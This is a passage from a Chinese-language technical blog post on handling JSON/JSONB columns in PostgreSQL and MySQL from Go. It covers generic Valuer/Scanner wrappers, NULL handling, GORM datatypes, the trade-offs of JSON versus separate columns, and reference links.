class="line"></span><br><span class="line"><span class="comment">// Value 实现 driver.Valuer:写入数据库时调用。</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(j JSON[T])</span></span> Value() (driver.Value, <span class="type">error</span>) &#123;</span><br><span class="line">b, err := json.Marshal(j.Val)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">nil</span>, err</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> b, <span class="literal">nil</span> <span class="comment">// 返回 []byte,pq / mysql 驱动都接受</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Scan 实现 sql.Scanner:从数据库读取时调用。</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(j *JSON[T])</span></span> Scan(src any) <span class="type">error</span> &#123;</span><br><span class="line"><span class="keyword">if</span> src == <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">var</span> zero T</span><br><span class="line">j.Val = zero</span><br><span class="line"><span class="keyword">return</span> <span class="literal">nil</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">var</span> b []<span class="type">byte</span></span><br><span class="line"><span class="keyword">switch</span> v := src.(<span class="keyword">type</span>) &#123;</span><br><span class="line"><span class="keyword">case</span> []<span class="type">byte</span>:</span><br><span class="line">b = v</span><br><span class="line"><span class="keyword">case</span> <span class="type">string</span>:</span><br><span class="line">b = []<span class="type">byte</span>(v)</span><br><span class="line"><span class="keyword">default</span>:</span><br><span class="line"><span class="keyword">return</span> fmt.Errorf(<span class="string">&quot;jsontype: 不支持的类型 %T&quot;</span>, src)</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> json.Unmarshal(b, &amp;j.Val)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">type</span> Payload <span class="keyword">struct</span> &#123;</span><br><span class="line">User <span class="type">string</span> <span class="string">`json:&quot;user&quot;`</span></span><br><span class="line">Tags []<span class="type">string</span> <span class="string">`json:&quot;tags&quot;`</span></span><br><span class="line">Score <span class="type">int</span> <span class="string">`json:&quot;score&quot;`</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 写入</span></span><br><span class="line">p := jsontype.New(Payload&#123;User: <span class="string">&quot;alice&quot;</span>, Tags: []<span class="type">string</span>&#123;<span class="string">&quot;go&quot;</span>, <span class="string">&quot;db&quot;</span>&#125;, Score: <span class="number">42</span>&#125;)</span><br><span class="line">_, err := db.Exec(<span class="string">&quot;INSERT INTO events (payload) VALUES ($1)&quot;</span>, p)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 读取</span></span><br><span class="line"><span class="keyword">var</span> got jsontype.JSON[Payload]</span><br><span class="line">err = db.QueryRow(<span class="string">&quot;SELECT payload FROM events WHERE id = $1&quot;</span>, <span class="number">1</span>).Scan(&amp;got)</span><br><span class="line">fmt.Println(got.Val.User) <span class="comment">// alice</span></span><br></pre></td></tr></table></figure><blockquote><p>说明:<code>Value()</code> 返回 <code>[]byte</code>。<code>lib/pq</code>、<code>jackc/pgx</code> 和 <code>go-sql-driver/mysql</code> 都会把 <code>[]byte</code> 正确地作为 JSON&#x2F;JSONB 参数处理。若用 pgx 且想让服务端按 jsonb 类型校验,可显式转换:<code>... VALUES ($1::jsonb)</code>。</p><p><strong>一个关键坑</strong>:<code>Scan</code> 里千万别只断言 <code>[]byte</code>。<code>lib/pq</code> 把 jsonb 作为 <code>[]byte</code> 传入,而 <strong>pgx 传入的是 <code>string</code></strong>;MySQL 驱动同样可能给 <code>string</code>。上面的 <code>switch</code> 同时处理了这两种情况——很多只抄了 <code>[]byte</code> 分支的代码一换驱动就 panic,原因就在这里。</p></blockquote><h3 id="4-3-处理-NULL:用指针或-sql-Null-包装"><a href="#4-3-处理-NULL:用指针或-sql-Null-包装" class="headerlink" title="4.3 处理 NULL:用指针或 sql.Null 包装"></a>4.3 处理 NULL:用指针或 sql.Null 包装</h3><p>列可能为 <code>NULL</code> 时,让包装类型支持空值:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">type</span> NullJSON[T any] <span class="keyword">struct</span> &#123;</span><br><span class="line">Val T</span><br><span class="line">Valid <span class="type">bool</span> <span class="comment">// 为 false 表示数据库中是 NULL</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(j NullJSON[T])</span></span> Value() (driver.Value, <span class="type">error</span>) &#123;</span><br><span class="line"><span class="keyword">if</span> !j.Valid &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">nil</span>, <span class="literal">nil</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> json.Marshal(j.Val)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(j *NullJSON[T])</span></span> Scan(src any) <span class="type">error</span> &#123;</span><br><span class="line"><span class="keyword">if</span> src == <span class="literal">nil</span> &#123;</span><br><span class="line">j.Valid = <span class="literal">false</span></span><br><span class="line"><span class="keyword">return</span> <span class="literal">nil</span></span><br><span class="line">&#125;</span><br><span class="line">j.Valid = <span class="literal">true</span></span><br><span class="line">b, ok := src.([]<span class="type">byte</span>)</span><br><span class="line"><span class="keyword">if</span> !ok &#123;</span><br><span class="line">b = []<span class="type">byte</span>(src.(<span class="type">string</span>))</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> json.Unmarshal(b, &amp;j.Val)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="4-4-结构未知时:映射到-map"><a href="#4-4-结构未知时:映射到-map" class="headerlink" title="4.4 结构未知时:映射到 map"></a>4.4 结构未知时:映射到 map</h3><p>如果 JSON 的键是用户自定义的、编译期无法确定结构(典型的&quot;属性袋 &#x2F; attributes bag&quot;场景),可以把包装器的类型参数直接设成 <code>map[string]any</code>:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 复用 4.2 的泛型包装器,T = map[string]any</span></span><br><span class="line"><span class="keyword">var</span> attrs jsontype.JSON[<span class="keyword">map</span>[<span class="type">string</span>]any]</span><br><span class="line">err = db.QueryRow(<span class="string">&quot;SELECT payload FROM events WHERE id = $1&quot;</span>, <span class="number">1</span>).Scan(&amp;attrs)</span><br><span class="line"></span><br><span class="line">weight, ok := attrs.Val[<span class="string">&quot;weight&quot;</span>].(<span class="type">float64</span>) <span class="comment">// 代价:取值要逐个类型断言</span></span><br></pre></td></tr></table></figure><p>好处是灵活、无需预定义 struct;代价是每次取值都要做类型断言,且 JSON 里的数字统一被解成 <code>float64</code>。<strong>结构固定就用 struct,结构自由才用 map</strong>。</p><blockquote><p>在 Go 1.18 泛型之前,更常见的是定义一个<strong>具名 map 类型</strong>并直接在其上挂 <code>Value</code>&#x2F;<code>Scan</code>(coussej 称之为 <code>PropertyMap</code>),一处定义即可被 orders、customers、books 等各种实体复用:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">type</span> PropertyMap <span class="keyword">map</span>[<span class="type">string</span>]any</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(p PropertyMap)</span></span> Value() (driver.Value, <span class="type">error</span>) &#123; <span class="keyword">return</span> json.Marshal(p) &#125;</span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(p *PropertyMap)</span></span> Scan(src any) <span class="type">error</span> &#123;</span><br><span class="line">b, ok := src.([]<span class="type">byte</span>)</span><br><span class="line"><span class="keyword">if</span> !ok &#123;</span><br><span class="line"><span class="keyword">return</span> errors.New(<span class="string">&quot;type assertion to []byte failed&quot;</span>)</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> json.Unmarshal(b, p)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>泛型 <code>JSON[T]</code> 本质是它的通用化版本——一份代码同时覆盖 struct 与 map,无需为每种形态各写一个类型。</p></blockquote><h3 id="4-5-部分查询:在-SQL-侧抽取字段"><a href="#4-5-部分查询:在-SQL-侧抽取字段" class="headerlink" title="4.5 部分查询:在 SQL 侧抽取字段"></a>4.5 部分查询:在 SQL 侧抽取字段</h3><p>有时不想把整个 JSON 拉回 Go 再解析,直接在数据库里取标量字段效率更高:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// PostgreSQL</span></span><br><span class="line"><span class="keyword">var</span> user <span class="type">string</span></span><br><span class="line">db.QueryRow(<span class="string">`SELECT payload -&gt;&gt; &#x27;user&#x27; FROM events WHERE id = $1`</span>, <span class="number">1</span>).Scan(&amp;user)</span><br><span class="line"></span><br><span class="line"><span class="comment">// MySQL</span></span><br><span class="line">db.QueryRow(<span class="string">`SELECT payload -&gt;&gt; &#x27;$.user&#x27; FROM events WHERE id = ?`</span>, <span class="number">1</span>).Scan(&amp;user)</span><br></pre></td></tr></table></figure><h3 id="4-6-各驱动-ORM-的原生支持"><a href="#4-6-各驱动-ORM-的原生支持" class="headerlink" title="4.6 各驱动 &#x2F; ORM 的原生支持"></a>4.6 各驱动 &#x2F; ORM 的原生支持</h3><table><thead><tr><th>工具</th><th>用法要点</th></tr></thead><tbody><tr><td><code>lib/pq</code></td><td>直接把 <code>[]byte</code> 作为参数写入 jsonb;读回也是 <code>[]byte</code>。</td></tr><tr><td><code>jackc/pgx</code></td><td>一等公民支持,可直接 <code>Scan</code> 进 <code>map[string]any</code> 或结构体;<code>pgtype.JSONB</code> 可用。</td></tr><tr><td><code>go-sql-driver/mysql</code></td><td>JSON 列以 <code>[]byte</code> 返回,写入接受 <code>[]byte</code>&#x2F;<code>string</code>。</td></tr><tr><td><strong>GORM</strong></td><td>用 <code>gorm.io/datatypes</code> 的 <code>datatypes.JSON</code> 或 <code>datatypes.JSONType[T]</code>(泛型),自动处理两库差异。</td></tr><tr><td><strong>sqlx</strong></td><td>结合上面的 <code>JSON[T]</code> 包装器,或用 <code>types.JSONText</code>。</td></tr><tr><td>GORM 泛型示例(同一份代码兼容 PG 与 MySQL):</td><td></td></tr></tbody></table><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> <span class="string">&quot;gorm.io/datatypes&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> Event <span class="keyword">struct</span> &#123;</span><br><span class="line">ID <span class="type">uint</span></span><br><span class="line">Payload datatypes.JSONType[Payload] <span class="comment">// 建表时自动映射为 jsonb / json</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 写</span></span><br><span class="line">db.Create(&amp;Event&#123;Payload: datatypes.NewJSONType(Payload&#123;User: <span class="string">&quot;alice&quot;</span>&#125;)&#125;)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 读</span></span><br><span class="line"><span class="keyword">var</span> e Event</span><br><span class="line">db.First(&amp;e, <span class="number">1</span>)</span><br><span class="line">fmt.Println(e.Payload.Data().User)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 按 JSON 字段查询(跨库表达式)</span></span><br><span class="line">db.Where(datatypes.JSONQuery(<span class="string">&quot;payload&quot;</span>).Equals(<span class="string">&quot;alice&quot;</span>, <span class="string">&quot;user&quot;</span>)).Find(&amp;events)</span><br></pre></td></tr></table></figure><hr><h2 id="五、为什么要用-JSON-类型,而不是拆成多个字段"><a href="#五、为什么要用-JSON-类型,而不是拆成多个字段" class="headerlink" title="五、为什么要用 JSON 类型,而不是拆成多个字段"></a>五、为什么要用 JSON 类型,而不是拆成多个字段</h2><p>一句话:<strong>字段适合&quot;结构稳定、要被频繁查询和约束&quot;的核心数据;JSON 适合&quot;结构多变、整体存取的边缘数据&quot;。</strong> 拆字段不是不行,而是很多场景下拆了更难受。</p><h3 id="5-1-什么场景下-JSON-更合理"><a href="#5-1-什么场景下-JSON-更合理" class="headerlink" title="5.1 什么场景下 JSON 更合理"></a>5.1 什么场景下 JSON 更合理</h3><ul><li><strong>结构因行而异</strong>:事件表里 click 事件的 payload 是 <code>&#123;x, y, target&#125;</code>,purchase 事件是 <code>&#123;sku, qty, price&#125;</code>。拆字段意味着要么建一堆稀疏列,要么每来一种新事件就 <code>ALTER TABLE</code>。JSON 天然容纳异构结构。</li><li><strong>免 DDL 演进</strong>:上游加一个属性,数据库什么都不用改。大表 <code>ALTER TABLE</code> 在锁表&#x2F;重建上有真实成本,老数据回填新列又是一堆问题。</li><li><strong>避免 EAV 反模式</strong>:JSON 流行前的标准解法是属性表 <code>(entity_id, key, value)</code>:查一个对象要几十行自连接&#x2F;pivot,索引分散、缓存局部性差。<code>jsonb + GIN</code> 一条 <code>@&gt;</code> 查询解决,性能和可维护性都更好。</li><li><strong>你根本不拥有 schema</strong>:第三方 API 回包、webhook、设备上报、审计快照——上游说变就变。拆字段意味着每次上游变动都要改解析代码和表结构;JSON 就是&quot;原样存下、需要时用路径查询取&quot;,把 schema 决策权留在应用侧。</li><li><strong>稀疏属性</strong>:100 个可选属性、每行只填三五个,JSON 只存出现的键;拆列就是一大片 NULL,列定义也膨胀。</li><li><strong>行数放大</strong>:一个 payload 一行,拆进属性表就是几十行,对缓存、备份、复制的开销都不同。</li></ul><h3 id="5-2-反过来,什么时候必须拆字段"><a href="#5-2-反过来,什么时候必须拆字段" class="headerlink" title="5.2 反过来,什么时候必须拆字段"></a>5.2 反过来,什么时候必须拆字段</h3><p>JSON 的代价在于它是优化器和约束系统的&quot;黑盒&quot;:</p><table><thead><tr><th>需求</th><th>为什么 JSON 不行</th></tr></thead><tbody><tr><td>高频 WHERE &#x2F; JOIN &#x2F; ORDER BY &#x2F; 聚合</td><td>内部无统计信息,优化器估行数不准;MySQL 尤其明显</td></tr><tr><td>NOT NULL &#x2F; CHECK &#x2F; UNIQUE &#x2F; 外键</td><td>JSON 内部字段没有这些约束(CHECK + JSON Schema 能做但很别扭)</td></tr><tr><td>单字段频繁 UPDATE</td><td>整个 jsonb 文档重写,WAL 放大、行膨胀(MySQL 的部分更新只覆盖部分场景)</td></tr><tr><td>存储紧凑</td><td>jsonb 每行都重复存键名;列名只存一次</td></tr><tr><td>强类型</td><td>JSON 内部数字&#x2F;字符串类型弱,<code>(payload-&gt;&gt;&#39;score&#39;)::numeric</code> 这种转换就是补课</td></tr></tbody></table><h3 id="5-3-实践折中:热字段提拔、冷数据留在-JSON"><a href="#5-3-实践折中:热字段提拔、冷数据留在-JSON" class="headerlink" title="5.3 实践折中:热字段提拔、冷数据留在 JSON"></a>5.3 实践折中:热字段提拔、冷数据留在 JSON</h3><p>不是二选一。常见做法是把被频繁查询的字段&quot;提升&quot;出来,其余留在 JSON 里:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- PG:生成列,把热字段暴露成普通列(可建 B-Tree、有统计信息)</span></span><br><span class="line"><span class="keyword">ALTER TABLE</span> events</span><br><span class="line"> <span class="keyword">ADD</span> <span class="keyword">COLUMN</span> user_name text</span><br><span class="line"> GENERATED ALWAYS <span class="keyword">AS</span> (payload <span class="operator">-</span><span class="operator">&gt;&gt;</span> <span class="string">&#x27;user&#x27;</span>) STORED;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 或者只在查询侧建表达式索引,不动表结构</span></span><br><span class="line"><span class="keyword">CREATE</span> INDEX idx_user <span class="keyword">ON</span> events ((payload <span class="operator">-</span><span class="operator">&gt;&gt;</span> <span class="string">&#x27;user&#x27;</span>));</span><br></pre></td></tr></table></figure><p>还有一个实用的演进视角:<strong>JSON 是起步成本最低的方案</strong>。前期不知道哪些字段重要,先整个塞 JSONB;等某个键真的被频繁查询、或需要约束时,再把它&quot;提拔&quot;成生成列&#x2F;独立列。这个迁移是平滑的,反过来(把拆好的字段合并回 JSON)要痛苦得多。</p><blockquote><p>所以答案不是&quot;JSON 更好&quot;,而是:<strong>把 schema 决策从建表那一刻推迟到真正需要约束它的那一刻</strong>。核心业务实体(订单、用户)老老实实拆字段;外围的、多变的、只是存着备查的,用 JSON。</p></blockquote><hr><h2 id="六、实战建议"><a href="#六、实战建议" class="headerlink" title="六、实战建议"></a>六、实战建议</h2><ol><li><strong>PG 默认选 <code>jsonb</code></strong>,配 GIN 索引;只有审计留痕才用 <code>json</code>。</li><li><strong>高频过滤字段应&quot;提升&quot;为独立列</strong>:PG 用表达式索引,MySQL 用生成列 &#x2F; 多值索引,避免全表扫。</li><li><strong>Go 侧统一用 <code>JSON[T]</code> 泛型包装器</strong>,一处定义处处复用,兼顾类型安全与 NULL 处理。</li><li><strong>能在 SQL 里过滤就别拉回内存</strong>:<code>@&gt;</code>(PG)和 <code>MEMBER OF</code>(MySQL 8)都能命中索引,远快于把整表捞回 Go 再筛。</li><li><strong>跨库项目优先 GORM <code>datatypes.JSONType[T]</code></strong>,屏蔽两库语法差异。</li><li><strong>注意大字段的写放大</strong>:MySQL 8 的 <code>JSON_SET</code> 支持部分更新(in-place),但字段变长时仍会整体重写;PG 的 jsonb 更新总是整值重写,超大文档要谨慎。</li></ol><hr><h2 id="七、参考文档"><a href="#七、参考文档" class="headerlink" title="七、参考文档"></a>七、参考文档</h2><ul><li><a href="https://www.alexedwards.net/blog/using-postgresql-jsonb">Using PostgreSQL JSONB with Go — Alex Edwards</a>:Go 中自定义类型实现 <code>driver.Valuer</code> &#x2F; <code>sql.Scanner</code> 对接 jsonb 的经典范文,本文 4.2&#x2F;4.4 及若干踩坑点参考自此。</li><li><a href="https://coussej.github.io/2016/02/16/Handling-JSONB-in-Go-Structs/">Handling JSONB in Go Structs — coussej</a>:具名 <code>PropertyMap</code>(<code>map[string]interface&#123;&#125;</code>)可复用类型的出处,本文 4.4 节的具名 map 写法即源于此,并提到用 sqlx 进一步简化。</li><li><a href="https://gist.github.com/yanmhlv/d00aa61082d3b8d71bed">JSONB in gorm — gist &#x2F; yanmhlv</a>:在 GORM 中挂接自定义 <code>Jsonb</code> 类型的示例。注意其年代较早,新版 GORM 应改用 <code>gorm:&quot;type:jsonb&quot;</code> 标签(旧写法 <code>sql:&quot;type:jsonb&quot;</code> 会让值被写成 null),或直接用 <code>pgtype.JSONB</code>。</li><li><a href="https://gist.github.com/mraaroncruz/87808f979bdfcae734ff337ff2066d2c">JSONB for postgres in Golang — gist &#x2F; mraaroncruz</a>:一个精简的自定义 <code>Jsonb</code> 类型实现 <code>Value</code>&#x2F;<code>Scan</code> 的可复制片段。</li><li><a href="https://hackernoon.com/go-handling-json-in-mysql-su2h31wg">Go: Handling JSON in MySQL — Tiago Melo &#x2F; HackerNoon</a>:MySQL 侧的对应实践(前几篇多偏 PostgreSQL),用 <code>StringInterfaceMap</code> 自定义类型 + <code>go-sql-driver/mysql</code>,<code>Value</code> 对空 map 写入 <code>null</code>、<code>Scan</code> 把 <code>null</code> 还原为空 map,与本文 4.3 的 NULL 处理思路一致。</li><li><a href="https://geekgunda.github.io/posts/mysql-json-data-with-go/">Using MySQL JSON data type with Go — GeekGunda</a>:MySQL 8.0 + Go 的实战记录,展示用 <code>json.RawMessage</code> 直接 <code>Scan</code> JSON 列、再 <code>json.Unmarshal</code> 到目标 struct 的轻量写法(对应本文 4.1 思路),附 docker-compose 与完整示例项目。</li><li><a href="https://www.postgresql.org/docs/current/datatype-json.html">PostgreSQL 官方文档:JSON Types</a> 与 <a href="https://www.postgresql.org/docs/current/functions-json.html">JSON Functions and Operators</a></li><li><a href="https://dev.mysql.com/doc/refman/8.0/en/json.html">MySQL 官方文档:The JSON Data Type</a> 与 <a href="https://dev.mysql.com/doc/refman/8.0/en/json-functions.html">JSON Functions</a></li><li><a href="https://www.digitalocean.com/community/tutorials/working-with-json-in-mysql">Working with JSON in MySQL — DigitalOcean</a>:MySQL JSON 列的入门教程,覆盖建表、<code>JSON_EXTRACT</code>&#x2F;<code>-&gt;</code>&#x2F;<code>-&gt;&gt;</code>、增删改函数与生成列索引,是本文第三节 SQL 用法的很好补充读物。</li><li><a href="https://dev.mysql.com/doc/refman/8.0/en/create-index.html#create-index-multi-valued">MySQL 多值索引(Multi-Valued Indexes)</a></li><li><a href="https://gorm.io/docs/data_types.html">GORM datatypes 文档</a> 与 <a href="https://github.com/go-gorm/datatypes">gorm.io&#x2F;datatypes</a></li><li><a href="https://github.com/jackc/pgx">jackc&#x2F;pgx</a>:PostgreSQL 驱动,JSON&#x2F;JSONB 一等公民支持</li></ul><hr><p><em>适用版本:PostgreSQL 12+、MySQL 8.0+、Go 1.18+(泛型)。</em></p>